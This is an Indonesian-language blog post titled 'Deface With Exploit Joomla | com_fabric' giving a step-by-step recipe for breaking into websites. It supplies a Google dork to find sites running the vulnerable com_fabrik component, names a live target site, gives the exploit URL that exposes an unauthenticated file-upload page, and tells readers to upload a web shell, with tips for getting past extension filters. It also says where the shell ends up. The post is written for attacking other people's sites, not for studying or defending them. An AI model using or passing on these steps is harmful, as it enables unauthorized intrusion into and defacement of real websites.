-= Muhammad Quraisy =-

Let's Go To Tkp ...                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    

Live Target: http://sercaca.com/index.php?option=com_fabrik&c=import&view=import&fietype=csv&tableid=1&Itemid=0

1. Gunakan Dork untuk mencari Target di Google

inurl:index.php?option=com_fabrik



 2. Selanjutnya Pilih target sobat, disini ane udah nemu target... langsung aja di eksploitasi :D



3. Masukin exploitnya berikut;
index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1echercher
maka akan muncul halaman upload seperti gambar berikut:


Note: Kalo tidak muncul halaman seperti gambar atau error, silahkan cari target yg lain! :p

4. upload shell sobat, klik Browse dan pilih shell sobat lalu klik Import CSV

Note: Kalo ga bisa upload ext. PHP coba gunakan Tamper data, tapi kalo ga bisa juga coba aja upload file .html, .txt  :)



5. Setelah itu lihat hasil upload shell sobat di http://site.com/media/shell.php


Source : Google & IDCA Description: Deface With Exploit Joomla | com_fabric | Rating: 4.5 Reviewer: Muhammad Quraisy - ItemReviewed: Deface With Exploit Joomla | com_fabric |